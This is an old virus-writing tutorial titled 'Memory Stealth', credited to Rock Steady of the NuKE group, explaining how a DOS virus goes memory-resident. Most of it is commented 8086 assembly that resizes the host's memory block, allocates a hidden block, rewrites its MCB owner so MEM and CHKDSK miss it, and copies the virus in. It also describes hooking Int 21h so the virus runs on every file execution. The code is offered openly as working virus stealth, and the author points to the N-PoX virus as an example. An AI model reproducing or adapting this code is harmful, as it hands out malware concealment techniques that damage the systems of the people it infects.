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** Memory Stealth **
** **
** By Rock Steady/NuKE **
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The Advantages of having a Memory Resident Virus, are unlimited. When our
virus goes `TSR' it REALLY doesn't do ANYTHING. It just stays there,
waiting to be called upon. the 80x86 really doesn't MULTITASK, so don't
think the virus runs `in the Background' TSRs tend to hook on Interrupts,
depending what function they must do. If it must be called upon OFTEN,
hook Int 1C, if your must run when an File is Executed/Open/Close Hook
Int 21h. And everytime Int 21h is called, Your Virus Runs FIRST, then it
calls the original Int 21h.
I will try to explain on how cut off a block of Memory, Then we'll
allocate memory for the Virus, change the program MCB, and move the
virus resident in memory.
para_size equ 3
mov cx,es ;Get current Segment
dec cx ;Subtract 1, so we have MCB
mov es,cx ;Restore it back to ES
mov bx,es:para_size ;BX=MCB Size in Paragraphs
mov dx,virus_size ;DX=Virus Size
mov cl,4 ;Unfortunately, VirusSize is in Bytes
shr dx,cl ;While memory size is calculated in
add dx,4 ;paragraphs (16-Byte)
mov cx,es ;Start to Restore the Old Segment in ES
sub bx,dx ;oh, yeah, Minus Virus - Current memory
inc cx ;Increment CX
mov es,cx ;Put it back, NOTICE a PUSH ES + POP ES
mov ah,4ah ;would have been BETTER!!!!!
int 21h ;Call Dos to Adjust Memory block Size
; First part has been easily completed, Next code, Allocates Memory for
; the Virus...
jc exit_com ;Test, incase Error Happened
mov ah,48h ;Allocate Memory function
dec dx
mov bx,dx ;Number of 16-Byte Paragraphs to
int 21h ;Allocate
; Next this Function Returns the Segment of the Allocated memory Block
; in AX register. So edit its MCB and move the virus resident.
mem equ 2 ;Put theses with the rest...
jc exit_com ;Another Test for Errors...
dec ax ;Get it MCB
mov es,ax ;Put it into ES
mov cx,8h
mov es:mem,cx ;Fix MCB PSP blocks Owner
sub ax,0fh
mov di,103h ;Offset of where virus will start.
mov es,ax ;With is Segment
mov si,bp ;Put BP (Delta Offset) in SI
add si,offset init_virus ;Add to point to the begining of Virus
mov cx,virus_size ;How many Bytes to move?
cld ;Clear Direction Flag (Ascending)
repne movsb ;Copy from DS:SI to ES:DI
That is all needed to do the trick. And it will not show up with the Memory
Mapping Utilities like MEM or CHKDSK. However Dos will report Available
memory to be short by the Number of Paragraphs we Allocated. I will try
to fix this DARN thing that drives me crazy, I believe it can be solved
like our FCB Dir Method, Where we can add the Number of Paragraphs our
Virus Allocated back to them Memory Mapping Utilities. There IS a WAY!
And we will find it... This topic will be continued in Info Journal #5.
Rock Steady
`Check out N-PoX(es) to see this Routine Working'